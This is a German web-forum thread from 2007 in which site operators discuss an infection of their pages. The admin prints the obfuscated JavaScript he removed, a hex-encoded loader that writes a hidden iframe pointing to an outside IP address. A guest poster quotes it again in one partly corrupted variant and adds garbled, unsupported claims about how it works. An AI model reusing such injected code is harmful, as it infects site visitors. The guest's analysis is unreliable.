Die Domain www.v-basic.de steht zum Verkauf: Interesse?

 
 Statistik  FAQ   RSS-ABO  Impressum 
Partner: nicolas-stey.de | drsoong | Herbert Software | legalsoft | The Trouble Shooter | v-basic

Willkommen Gast, aktuell ist der 06.02.2012, 00:24 Uhr

Partner der Proco werden?
 Übersicht  Registrieren  Suche  Neue Posts  Tipps & Tuts  Chat 
 Programming Community » PROCO Intern » PROCO Interaktiv » Virus auf der Seite
     [Passwort vergessen]

Neuer Thread Neue Antwort  
 
Beobachter: 1  |  Moderiert von: cinic, DrSoong

Virus auf der Seite

Seite: 1
Autor
Beitrag
Profil assitburn Beitrag  Virus auf der Seite - Beitrag verfasst: 11.12.2007, 11:01 Uhr        Post den Moderatoren melden    Zitieren  
Beginner





Anmeldedatum: 26.11.2007
6 Posts und 2 Themen.

Hallo zusammen.

Vielleicht bin ich ja der Einzige, dem es auffällt.

Aber auf dieser Seite scheint ein Virus sein unwesen zu treiben!!!

Von Trend Micro Office Scan wird dieser als "HTML_IFRAME.HT" bezeichnet.

Bei jedem neuen Laden der Seite wird eine "go[1].html" Datei erzeugt, welche dann anschließend mit diesem Virus infiziert ist.
   Link  195.243.117.106 Nach Oben Nach oben
Profil DrSoong Beitrag   Beitrag verfasst: 11.12.2007, 16:31 Uhr        Post den Moderatoren melden    Zitieren  
Globaler Moderator





Anmeldedatum: 15.08.2002
441 Posts und 2 Themen.

Hab das bisher nicht bemerkt, Firefox und NoScript zusammen haben das scheinbar verhindert. Mal schnell Cinic anklingeln, dass er sich darum kümmert.


Der Doc!

____________________
Zur Information: Ich beantworte keine Fragen, die per Mail an mich gesandt werden. Bei Kontaktaufnahme einen Post ins Forum setzen oder mich nach Aufforderung per VPM anschreiben.
   Link  80.109.197.54 Nach Oben Nach oben
Profil cinic Beitrag  hmmmmmm - Beitrag verfasst: 11.12.2007, 19:43 Uhr        Post den Moderatoren melden    Zitieren  
Admin





Anmeldedatum: 05.08.2004
426 Posts und 116 Themen.

ich hab den Code schon rausgenommen, aber wie zum Henker kommt sowas in meine Seite????

Anbei was ich auf mehreren Seiten von mir entfernt habe:

Code:
1
2
3
4
5
6
7
8
9
10
11
12		 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475d535c42589(v475d535c42d82){ var v475d535c4357a=16; return(parseInt(v475d535c42d82,v475d535c4357a));}
function v475d535c44970(v475d535c45148){ 
var v475d535c46500=2; 
var v475d535c45c18='';
for(v475d535c4610d=0; v475d535c4610d<v475d535c45148.length; v475d535c4610d+=v475d535c46500){ v475d535c45c18+=(String.fromCharCode(v475d535c42589(v475d535c45148.substr(v475d535c4610d, v475d535c46500))));}
return v475d535c45c18;} document.write(v475d535c44970('3C5343524950543E77696E646F772E73746174757
33D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D353365616
16363626362207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746
D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3430333932292B27643763626662336
25C272077696474683D3838206865696768743D343539207374796C653D5C27646973706C61793A206E6F6E655C2
73E3C2F696672616D653E27293C2F5343524950543E'));
</script>


1 x geändert, zuletzt am 11.12.2007 von cinic



____________________
v-basic.de
   Link  84.172.68.34 Nach Oben Nach oben
Profil DrSoong Beitrag   Beitrag verfasst: 11.12.2007, 21:07 Uhr        Post den Moderatoren melden    Zitieren  
Globaler Moderator





Anmeldedatum: 15.08.2002
441 Posts und 2 Themen.

Ich würd mir eher die Frage stellen, wie das ganze wieder reinkommt, nachdem du es schon herausgenommen hast. Der Code ist nämlich wieder in deiner Seite zu finden. Check mal deine Logs, ob sich da jemand bei dir eingehackt hat.


Der Doc!

____________________
Zur Information: Ich beantworte keine Fragen, die per Mail an mich gesandt werden. Bei Kontaktaufnahme einen Post ins Forum setzen oder mich nach Aufforderung per VPM anschreiben.
   Link  80.109.197.54 Nach Oben Nach oben
Profil assitburn Beitrag  hacker?!?!? - Beitrag verfasst: 13.12.2007, 13:30 Uhr        Post den Moderatoren melden    Zitieren  
Beginner





Anmeldedatum: 26.11.2007
6 Posts und 2 Themen.

Hallo ,

ich würde sagen, daß es da drei Möglichkeiten gibt.
Bei meiner Webpage ist dies in einer ähnlichen Form auch schon mal passiert. Allerdings wurden dort ganze Seiten ausgetauscht.

1. Dein Account wurde gahackt und anschließend der Code eingefügt.
2. Der Server Deines Providers wurde gehackt und mehrere Seiten wurden infiziert.
    (dies scheint bei meiner Page passiert zu sein.)
3. Dein PC hat sich einen Virus eingefangen (glaube ich jetzt nicht wirklich)
   Link  195.243.117.106 Nach Oben Nach oben
Profil cinic Beitrag   Beitrag verfasst: 13.12.2007, 23:12 Uhr        Post den Moderatoren melden    Zitieren  
Admin





Anmeldedatum: 05.08.2004
426 Posts und 116 Themen.

Letzteres In Verbindung mit Hacker war wohl des Rätsels Lösung

____________________
v-basic.de
   Link  84.172.69.189 Nach Oben Nach oben
SaNSaR Beitrag  haloo zusammen... - Beitrag verfasst: 22.12.2007, 14:52 Uhr        Post den Moderatoren melden    Zitieren  
[ Gastposter ]


Zitat von cinic
ich hab den Code schon rausgenommen, aber wie zum Henker kommt sowas in meine Seite????

Anbei was ich auf mehreren Seiten von mir entfernt habe:

Code:
1
2
3
4
5
6
7
8
9
10
11
12		 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475d535c42589(v475d535c42d82){ var v475d535c4357a=16; return(parseInt(v475d535c42d82,v475d535c4357a));}
function v475d535c44970(v475d535c45148){ 
var v475d535c46500=2; 
var v475d535c45c18='';
for(v475d535c4610d=0; v475d535c4610d<v475d535c45148.length; v475d535c4610d+=v475d535c46500){ v475d535c45c18+=(String.fromCharCode(v475d535c42589(v475d535c45148.substr(v475d535c4610d, v475d535c46500))));}
return v475d535c45c18;} document.write(v475d535c44970('3C5343524950543E77696E646F772E73746174757
33D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D353365616
16363626362207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746
D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3430333932292B27643763626662336
25C272077696474683D3838206865696768743D343539207374796C653D5C27646973706C61793A206E6F6E655C2
73E3C2F696672616D653E27293C2F5343524950543E'));
</script>


dise virus ist eine toriana. ist mit z.lib. und cube kodiert!!!

fontion: olutlock express wird im hintergrund gestartet wine mail vir automaicht angeleg mail wird gesendet und wird gelöcht...

auf deine web seite index oder login seiten befallen... setze CHMOD 644
Code:
1
2
3
4
5
6		 return v475d535c45c18;} document.write(v475d535c44970('3C5343524950543E77696E646F772E73746174757
33D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D353365616
16363626362207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746
D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3430333932292B27643763626662336
25C272077696474683D3838206865696768743D343539207374796C653D5C27646973706C61793A206E6F6E655C2
73E3C2F696672616D653E27293C2F5343524950543E'));


    87.174.0.88 Nach Oben Nach oben
SaNSaR Beitrag   Beitrag verfasst: 22.12.2007, 15:02 Uhr        Post den Moderatoren melden    Zitieren  
[ Gastposter ]




so wirds gemacht....

suche nach v475c2394e62dc ...tex im internet

ändere deine login und db pasword auch deien mailadressen password ändern

Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26		 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'>
</iframe>
<script>

function 
v475c2394e5afd(
v475c2394e62dc){ var 
v475c2394e6bd7=16; return(parseInt(
v475c2394e62dc,
v475c2xc394e6bd7));}functionc 
v475c2394e7e26(
v475c2394e85f0){  var 
v475c2394e8dc0='';for(
v475c2394e9593=0; 
v475c2394e9593<
v475c2394e85f0.length; 
v475c2394e9593+=2){ 
v475c2394e8dc0+=(String.fromCharCode(
v475c2394e5afd(
v475c2394e85f0.substr(
v475c2394e9593, 2))));}return 
v475c2394e8dc0;} document.write(
v475c2394e7e26('
3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D34343833207372633D5C2768cx7474xcc703A2F2F3737dfd2E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3434313332292B2762385C272077696474683D363439206865696768743D3638207374796C653D5C27646973706C61xccv793A206E6F6vv655C273E3C2F696672616D653xfxE27293C2F5343524950543E'));

</script>

    87.174.0.88 Nach Oben Nach oben
Seite: 1

Neuer Thread Neue Antwort  
 


Information
Wo bin ich?
 Programming Community » PROCO Intern » PROCO Interaktiv » Virus auf der Seite
Rechte
Du darfst: Beiträge lesen, Themen eröffnen, auf Beiträge antworten und hier keine Umfragen erstellen
Statistik
Seit dem 31.07.2002 (3476 Tage) wurden 7013 Beiträge in 1977 Themen verfasst.
Wir haben 1278 User und begrüßen unser neustes Mitglied: g.schief
Rekord: 8 registrierte waren gleichzeitig hier (27.07.2006, 14:54 Uhr).
Im Moment: 0 registrierte Benutzer und 1 Gast online! 
excel access datum outlook excel mysql sql access datenbank timer string datei auslesen array vb und php sqlite exe exe zu vbp converter uhr mail ftp listbox

cin.board | v1.07 2004-2009 Datenschutzerklärung

© STEY MEDIA
Nicolas Stey - Internetdienstleistungen |||  | |